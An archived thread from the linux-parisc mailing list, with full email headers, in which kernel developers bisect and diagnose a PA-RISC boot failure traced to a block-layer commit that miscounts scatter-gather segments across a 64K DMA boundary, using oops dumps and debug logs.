>>>>>> 00000000003e2ee0 000000007fa91140
>>>>>> [   50.892000] r04-07  00000000003cd000 000000007f914300
>>>>>> 000000007f914b10 0000000000000003
>>>>>> [   50.988000] r08-11  0000000000000000 000000007f918000
>>>>>> 0000000040bdd6b0 00000000003cd800
>>>>>> [   51.084000] r12-15  0000000000000000 000000007fa90778
>>>>>> 00000000003cd000 000000007f918000
>>>>>> [   51.180000] r16-19  0000000000001300 0000000040bdd6b8
>>>>>> 0000000040bdd6bc 0000000040ba2420
>>>>>> [   51.276000] r20-23  0000000099116e92 0000000000000000
>>>>>> 00000000000002a0 00000000000002ee
>>>>>> [   51.372000] r24-27  0000000000000000 000000000800000e
>>>>>> 0000000040b60750 00000000409b3ae0
>>>>>> [   51.468000] r28-31  0000000000000002 000000007fa914f0
>>>>>> 000000007fa911e0 0000000040ba2408
>>>>>> [   51.564000] sr00-03  0000000000015000 0000000000000000
>>>>>> 0000000000000000 0000000000015000
>>>>>> [   51.660000] sr04-07  0000000000000000 0000000000000000
>>>>>> 0000000000000000 0000000000000000
>>>>>> [   51.756000] 
>>>>>> [   51.772000] IASQ: 0000000000000000 0000000000000000 IAOQ:
>>>>>> 00000000003e2f24 00000000003e2f28
>>>>>> [   51.872000]  IIR: 03ffe01f    ISR: 0000000010340000  IOR:
>>>>>> 000000fea4691528
>>>>>> [   51.956000]  CPU:        0   CR30: 000000007fa90000 CR31:
>>>>>> 00000000ffff7dff
>>>>>> [   52.040000]  ORIG_R28: 0000000040b60718
>>>>>> [   52.084000]  IAOQ[0]: scsi_init_sgtable+0xfc/0x1b8
>>>>>> [scsi_mod]
>>>>>> [   52.152000]  IAOQ[1]: scsi_init_sgtable+0x100/0x1b8
>>>>>> [scsi_mod]
>>>>>> [   52.224000]  RP(r2): scsi_init_sgtable+0xb8/0x1b8
>>>>>> [scsi_mod]
>>>>>> [   52.292000] Backtrace:
>>>>>> [   52.320000]  [<00000000003e304c>] scsi_init_io+0x6c/0x258
>>>>>> [scsi_mod]
>>>>>> [   52.396000]  [<000000000087d078>]
>>>>>> sd_init_command+0x70/0xec8
>>>>>> [sd_mod]
>>>>>> 
>>>>>> In general I think the bug is somehow in blk-merge.c.
>>>>>> But I'm not an expert in that code.
>>>>> 
>>>>> The warning was added in this patch sequence:
>>>>> https://lkml.org/lkml/2015/11/23/996
>>>>> 
>>>>> Possibly, but above seems to indicate that it could be driver
>>>>> issue
>>>>> as well.
>>>> 
>>>> 
>>>> I believe this bug was introduced by the following merge:
>>>> 
>>>> commit 1081230b748de8f03f37f80c53dfa89feda9b8de
>>>> Merge: df91039 2ca495a
>>>> Author: Linus Torvalds <torvalds@linux-foundation.org>
>>>> Date:   Wed Sep 2 13:10:25 2015 -0700
>>>> 
>>>>   Merge branch 'for-4.3/core' of git://git.kernel.dk/linux-block
>>>> 
>>>>   Pull core block updates from Jens Axboe:
>>>>    "This first core part of the block IO changes contains:
>>>> 
>>>>      - Cleanup of the bio IO error signaling from Christoph.  We
>>>> used to
>>>>        rely on the uptodate bit and passing around of an error,
>>>> now
>>>> we
>>>>        store the error in the bio itself.
>>>> 
>>>>      - Improvement of the above from myself, by shrinking the
>>>> bio
>>>> size
>>>>        down again to fit in two cachelines on x86-64.
>>>> 
>>>>      - Revert of the max_hw_sectors cap removal from a revision
>>>> again,
>>>>        from Jeff Moyer.  This caused performance regressions in
>>>> various
>>>>        tests.  Reinstate the limit, bump it to a more reasonable
>>>> size
>>>>        instead.
>>>> 
>>>>      - Make /sys/block/<dev>/queue/discard_max_bytes writeable,
>>>> by
>>>> me.
>>>>        Most devices have huge trim limits, which can cause nasty
>>>> latencies
>>>>        when deleting files.  Enable the admin to configure the
>>>> size
>>>> down.
>>>>        We will look into having a more sane default instead of
>>>> UINT_MAX
>>>>        sectors.
>>>> 
>>>>      - Improvement of the SGP gaps logic from Keith Busch.
>>>> 
>>>>      - Enable the block core to handle arbitrarily sized bios,
>>>> which
>>>>        enables a nice simplification of bio_add_page() (which is
>>>> an
>>>> IO hot
>>>>        path).  From Kent.
>>>> 
>>>>      - Improvements to the partition io stats accounting, making
>>>> it
>>>>        faster.  From Ming Lei.
>>>> 
>>>>      - Also from Ming Lei, a basic fixup for overflow of the
>>>> sysfs
>>>> pending
>>>>        file in blk-mq, as well as a fix for a blk-mq timeout
>>>> race
>>>>        condition.
>>>> 
>>>>      - Ming Lin has been carrying Kents above mentioned patches
>>>> forward
>>>>        for a while, and testing them.  Ming also did a few fixes
>>>> around
>>>>        that.
>>>> 
>>>>      - Sasha Levin found and fixed a use-after-free problem
>>>> introduced by
>>>>        the bio->bi_error changes from Christoph.
>>>> 
>>>>      - Small blk cgroup cleanup from Viresh Kumar"
>>>> 
>>>>   * 'for-4.3/core' of git://git.kernel.dk/linux-block: (26
>>>> commits)
>>>>     blk: Fix bio_io_vec index when checking bvec gaps
>>>>     block: Replace SG_GAPS with new queue limits mask
>>>>     block: bump BLK_DEF_MAX_SECTORS to 2560
>>>>     Revert "block: remove artifical max_hw_sectors cap"
>>>>     blk-mq: fix race between timeout and freeing request
>>>>     blk-mq: fix buffer overflow when reading sysfs file of
>>>> 'pending'
>>>>     Documentation: update notes in biovecs about arbitrarily
>>>> sized
>>>> bios
>>>>     block: remove bio_get_nr_vecs()
>>>>     fs: use helper bio_add_page() instead of open coding on
>>>> bi_io_vec
>>>>     block: kill merge_bvec_fn() completely
>>>>     md/raid5: get rid of bio_fits_rdev()
>>>>     md/raid5: split bio for chunk_aligned_read
>>>>     block: remove split code in
>>>> blkdev_issue_{discard,write_same}
>>>>     btrfs: remove bio splitting and merge_bvec_fn() calls
>>>>     bcache: remove driver private bio splitting code
>>>>     block: simplify bio_add_page()
>>>>     block: make generic_make_request handle arbitrarily sized
>>>> bios
>>>>     blk-cgroup: Drop unlikely before IS_ERR(_OR_NULL)
>>>>     block: don't access bio->bi_error after bio_put()
>>>>     block: shrink struct bio down to 2 cache lines again
>>>>     ...
>>> 
>>> If you can bisect it down to the exact commit, I might be able to
>>> work
>>> out what's the problem.  Otherwise, even in an all modular config,
>>> I
>>> can't reproduce this on 4.5-rc4, so it may be fixed upstream (just
>>> not
>>> backported).
>> 
>> 
>> Okay, the bug was introduced by the following change:
>> 
>> commit 54efd50bfd873e2dbf784e0b21a8027ba4299a3e
>> Author: Kent Overstreet <kent.overstreet@gmail.com>
> 
> If you've verified that reverting this alone gets you a bootable
> kernel, it's time to report it to the appropriate lists, which would be
> linux-block and linux-scsi.


I verified that commit 54efd50bfd873e2dbf784e0b21a8027ba4299a3e in linux-block fails to
boot and commit 41609892701e26724b8617201f43254cadf2e7ae (blk-cgroup: Drop unlikely
before IS_ERR(_OR_NULL)) does boot successfully.  Commit 41609892701e26724b8617201f43254cadf2e7ae
is previous commit in tree.

I don't believe that the change can be reverted from Linus' tree as this commit allowed other
stuff to be removed (see second paragraph of commit description).

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 11:07:56 -0800
Lines: 32
Approved: news@gmane.org
Message-ID: <1456081676.2340.10.camel@HansenPartnership.com>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
	 <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
	 <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de>
	 <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
	 <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
	 <1456026424.2268.5.camel@HansenPartnership.com>
	 <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net>
	 <1456078381.2340.5.camel@HansenPartnership.com>
	 <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456081689 14760 80.91.229.3 (21 Feb 2016 19:08:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 19:08:09 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	linux-parisc List <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 20:08:00 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXZMN-0004jw-Rs
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 20:08:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751281AbcBUTH7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 14:07:59 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35370 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751049AbcBUTH6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 14:07:58 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C90FF8EE171;
	Sun, 21 Feb 2016 11:07:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1456081678;
	bh=F0Kio/SMmYT1KHZI2QaH0XLRTYg/BZhySfM93YKccWM=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=GlZCjOQQ3hSv5D0NyqDucvptqzWyrxT89pCqS7d68V5P18I2l+rVf1tDg6g2Tq98e
	 lDzHZpxmBeBuw5OA4K/9WsKDXnN4vb1XpRlLmIovcZL6YFo1mqgKCSbt9Unhv7INxW
	 VdGW0wkVBtXofJ0cR6JrZ1QGo1dB51YsubH8mc9Q=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 2k6SvcO9HWjm; Sun, 21 Feb 2016 11:07:57 -0800 (PST)
Original-Received: from [153.66.254.194] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 658048EE0E3;
	Sun, 21 Feb 2016 11:07:57 -0800 (PST)
In-Reply-To: <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26478
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26478>

On Sun, 2016-02-21 at 13:43 -0500, John David Anglin wrote:
> I verified that commit 54efd50bfd873e2dbf784e0b21a8027ba4299a3e in
> linux-block fails to
> boot and commit 41609892701e26724b8617201f43254cadf2e7ae (blk-cgroup:
> Drop unlikely
> before IS_ERR(_OR_NULL)) does boot successfully.  Commit
> 41609892701e26724b8617201f43254cadf2e7ae
> is previous commit in tree.
> 
> I don't believe that the change can be reverted from Linus' tree as
> this commit allowed other
> stuff to be removed (see second paragraph of commit description).

OK, can you just verify you can boot 4.5-rc5 without the sata_sil24
driver?

My theory, based on what Helge produced is that this commit is building
a large transfer list > 65535 and then splitting it wrongly.  I think
the problem is that it's not respecting the DMA boundary, so Helge sees
a transfer size of 69632 which I think slops over on both sides,
requiring 3 segments to describe.  However, the merge code thinks we
only need two (because the length is < 2*65536).  The reason we only
see this with ATA drivers is because virtually no SCSI drivers set the
DMA boundary.  Most ATA drivers require a dma boundary of 65535.

James

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 20:36:50 +0100
Lines: 88
Approved: news@gmane.org
Message-ID: <56CA11D2.3020900@gmx.de>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
 <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
 <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de>
 <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
 <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
 <1456026424.2268.5.camel@HansenPartnership.com>
 <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net>
 <1456078381.2340.5.camel@HansenPartnership.com>
 <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net>
 <1456081676.2340.10.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456083431 8179 80.91.229.3 (21 Feb 2016 19:37:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 19:37:11 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 20:37:05 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXZoT-0007LU-3d
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 20:37:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750806AbcBUThA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 14:37:00 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:51982 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750708AbcBUTg7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 14:36:59 -0500
Original-Received: from [192.168.20.60] ([92.203.24.221]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0LlpJU-1ZyW2f0oe8-00ZLpO; Sun, 21 Feb 2016 20:36:53
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <1456081676.2340.10.camel@HansenPartnership.com>
X-Provags-ID: V03:K0:YVecZb5rXmcrq5eZIL1BWvhfNfdNbywox4f/+ngfDv1Cfsf4PKp
 4g0VQrrjRRVgBPVHNftK7wOEE8rOoSg92TfYBIVO3OA1J47BH2unJgbuVvw5d5A2Bjw6dR5
 Nb+BI9T80wpjQzfNicY8qZAqeqfZIIBF/IAlrrC8NERFFNH1lFQeCKt9svjqBkU1RfchW01
 ZQcDdw2r/Bqy3kjNw2lhA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:McqbuQpIXLk=:5EK9Jdg4lelAaWUrFUoJFv
 p7GaGHtXe3oFIURiyly7An3r0QAWlQNTNryYmXl4DnJ2f+YTMvR0k4INgT8CJAcv/+rP5kPNn
 4v8r/S0EOvphhab7AUdGEKvXVi3gZDzI0QKpdQWNoJbIgmhucTwlK6rMd2gcibQPfCMWs1Lmt
 4JFugbuSIzLFAm2ZyeT3JqjCQa/1UqTO+dnBpZWsX2WI4c7lMOAWnyfmkHxhUoRdzVgNbPa01
 +gEcbmaR+bS4naUb1O2vcs7hvPjn8i9AlPGxDcS7unSevdA6VuBNbqYizcJBQ3+Ax1FZQC2kb
 NZYhb9HLz/by4czk2G4q5I1XVFIb7Zsk3nS9fm1XkhvtUBoeZ6KF8vRKaqqgyHmrmt/nTnnF2
 e1wlfeBnPw6StpenaYqUKN0dyJcJoMWtQqD7k5LagD12MxaFN0VhVPHXVYWfuQbZya3Z1+U3T
 qglxQuE4pFkZpvcMmkTptnc2jmpiG0YqYZ0fq+0uDqdDw8rZIrSpDBaThdNnHC0jq2r2XwKB0
 duQ4UUeokNfcWlCzV81VGfrOFSDSvH/wdbZM9jAbcrGQ7PUzPvdi5IGHJURMNiWEVDUfblP2e
 MlyNxP3jCaA/yhJJzz0j/BNnya2HGPZkHfKKkOf4l67yxG0XtoSZzF1RRFzzRDFmH1uPdEqSY
 07RBgXjVmlm26pxx8Toy66FRZRGV0LC3Ppqlh9dJt3uCy/zmcBuKS+ZORHVutIgSR8xoFg56L
 ZwtW4jj7OtCYUWD/pZLJZYbETNYMKZJP1hcCaUdv2jAtIj4pBs9rwav8HL3v8Z+G7QgkR85t 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26479
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26479>

On 21.02.2016 20:07, James Bottomley wrote:
> On Sun, 2016-02-21 at 13:43 -0500, John David Anglin wrote:
>> I verified that commit 54efd50bfd873e2dbf784e0b21a8027ba4299a3e in
>> linux-block fails to
>> boot and commit 41609892701e26724b8617201f43254cadf2e7ae (blk-cgroup:
>> Drop unlikely
>> before IS_ERR(_OR_NULL)) does boot successfully.  Commit
>> 41609892701e26724b8617201f43254cadf2e7ae
>> is previous commit in tree.
>>
>> I don't believe that the change can be reverted from Linus' tree as
>> this commit allowed other
>> stuff to be removed (see second paragraph of commit description).
> 
> OK, can you just verify you can boot 4.5-rc5 without the sata_sil24
> driver?

I tried it on my c3000, debian kernel 4.4.2, in this case without the pata_ns87415.
I used "modprobe.blacklist=libata,pata_ns87415,ata_generic" as additional 
kernel command line option. 

[   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
[   45.980000] __blk_segment_map_sg: length = 12288, nbytes = 4096, sum = 16384 > 65536
[   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
[   45.980000] __blk_segment_map_sg: length = 65536, nbytes = 4096, sum = 69632 > 65536

^^ here.

[   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 1, BIOVEC_SEG_BOUNDARY = 1
[   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
[   45.980000] __blk_segment_map_sg: length = 12288, nbytes = 4096, sum = 16384 > 65536
[   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
[   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
[   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
[   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
[   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
[   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
[   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
[   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096, sum = 8192 > 65536
[   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0, BIOVEC_SEG_BOUNDARY = 1
[   45.980000] *** FIXIT *** HELGE: nsegs > rq->nr_phys_segments = 11 > 10
[   45.980000] scsi_init_sgtable: count = 11, nents = 10

^^ here

[   45.980000] timer_interrupt(CPU 0): delayed! cycles 73C0F821 rem 1E1DDF  next/now 1D78B3071C/1D7894E93D
[   48.684000] ------------[ cut here ]------------
[   48.740000] WARNING: at /build/linux-4.4/linux-4.4.2/drivers/scsi/scsi_lib.c:1104
[   48.828000] Modules linked in: sd_mod ohci_pci ehci_pci ohci_hcd ehci_hcd sym53c8xx scsi_transport_spi usbcore scsi_mod usb_common tulip
[   48.976000] CPU: 0 PID: 66 Comm: systemd-udevd Not tainted 4.4.0-1-parisc64-smp #5 Debian 4.4.2-2
[   49.084000] task: 00000000bbe97538 ti: 00000000bbe98000 task.ti: 00000000bbe98000

 
> My theory, based on what Helge produced is that this commit is building
> a large transfer list > 65535 and then splitting it wrongly.  

Yes, this theory sounds right.

> I think
> the problem is that it's not respecting the DMA boundary, so Helge sees
> a transfer size of 69632 which I think slops over on both sides,
> requiring 3 segments to describe.  However, the merge code thinks we
> only need two (because the length is < 2*65536).  The reason we only
> see this with ATA drivers is because virtually no SCSI drivers set the
> DMA boundary.  Most ATA drivers require a dma boundary of 65535.

In my test above there is no ATA driver included, only SCSI discs.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: SCSI bug
Date: Sun, 21 Feb 2016 12:28:10 -0800
Lines: 147
Approved: news@gmane.org
Message-ID: <1456086490.2340.18.camel@HansenPartnership.com>
References: <28D5FC66-A9E6-4F3E-A8AC-F9E68A6BC543@bell.net>
	 <82D4BF6F-05CF-4441-9530-79475BFF84F3@bell.net>
	 <E2C8DBC2-F0AD-4C78-BD63-9C85B387E284@bell.net> <56C8E1AC.3030409@gmx.de>
	 <038473FE-9E6D-4F03-BBD4-9844B7B529E1@bell.net>
	 <9C42B388-96D5-412A-BAC3-14E93415CA21@bell.net>
	 <1456026424.2268.5.camel@HansenPartnership.com>
	 <14EF1F4E-8045-4990-B29E-D489E82B1929@bell.net>
	 <1456078381.2340.5.camel@HansenPartnership.com>
	 <D14AFC12-8245-4862-9FFA-92A4F114FC41@bell.net>
	 <1456081676.2340.10.camel@HansenPartnership.com> <56CA11D2.3020900@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456086503 21664 80.91.229.3 (21 Feb 2016 20:28:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 21 Feb 2016 20:28:23 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 21 21:28:13 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aXac1-0005kb-DN
	for glpp-linux-parisc@plane.gmane.org; Sun, 21 Feb 2016 21:28:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751447AbcBUU2M (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 21 Feb 2016 15:28:12 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:35576 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750951AbcBUU2M (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 21 Feb 2016 15:28:12 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6A48F8EE171;
	Sun, 21 Feb 2016 12:28:11 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1456086491;
	bh=Ag2yWzhD308VhA/BDaqUjUECJO49fbYJDRnezmm5LkE=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=NZwa5sN1Uaaq9yTxrkGTQ3LukpzAZXxhdAoVRKaACZBr1p8fobsS78EF5LAjbHCox
	 SshbI9Twz9gPcEe2mCUiz0neUcNOIR03AcLgH/5ZU4epyUQDK9OwsPe+YGaR+9B75t
	 LZ0mjGobDOiCMqLugipbviHHHYHgy2EJO1cRIQIE=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id tCeJ088vS3mG; Sun, 21 Feb 2016 12:28:11 -0800 (PST)
Original-Received: from [153.66.254.194] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id E614D8EE0E3;
	Sun, 21 Feb 2016 12:28:10 -0800 (PST)
In-Reply-To: <56CA11D2.3020900@gmx.de>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26480>

On Sun, 2016-02-21 at 20:36 +0100, Helge Deller wrote:
> On 21.02.2016 20:07, James Bottomley wrote:
> > On Sun, 2016-02-21 at 13:43 -0500, John David Anglin wrote:
> > > I verified that commit 54efd50bfd873e2dbf784e0b21a8027ba4299a3e
> > > in
> > > linux-block fails to
> > > boot and commit 41609892701e26724b8617201f43254cadf2e7ae (blk
> > > -cgroup:
> > > Drop unlikely
> > > before IS_ERR(_OR_NULL)) does boot successfully.  Commit
> > > 41609892701e26724b8617201f43254cadf2e7ae
> > > is previous commit in tree.
> > > 
> > > I don't believe that the change can be reverted from Linus' tree
> > > as
> > > this commit allowed other
> > > stuff to be removed (see second paragraph of commit description).
> > 
> > OK, can you just verify you can boot 4.5-rc5 without the sata_sil24
> > driver?
> 
> I tried it on my c3000, debian kernel 4.4.2, in this case without the
> pata_ns87415.
> I used "modprobe.blacklist=libata,pata_ns87415,ata_generic" as
> additional 
> kernel command line option. 
> 
> [   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
> [   45.980000] __blk_segment_map_sg: length = 12288, nbytes = 4096,
> sum = 16384 > 65536
> [   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> BIOVEC_SEG_BOUNDARY = 1
> [   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
> [   45.980000] __blk_segment_map_sg: length = 65536, nbytes = 4096,
> sum = 69632 > 65536
> 
> ^^ here.
> 
> [   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 1,
> BIOVEC_SEG_BOUNDARY = 1
> [   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
> [   45.980000] __blk_segment_map_sg: length = 12288, nbytes = 4096,
> sum = 16384 > 65536
> [   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> BIOVEC_SEG_BOUNDARY = 1
> [   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
> [   45.980000] __blk_segment_map_sg: length = 4096, nbytes = 4096,
> sum = 8192 > 65536
> [   45.980000] __blk_segment_map_sg: BIOVEC_PHYS_MERGEABLE = 0,
> BIOVEC_SEG_BOUNDARY = 1
> [   45.980000] NEW SEGMENT sg = 00000000bbe991e8!!!
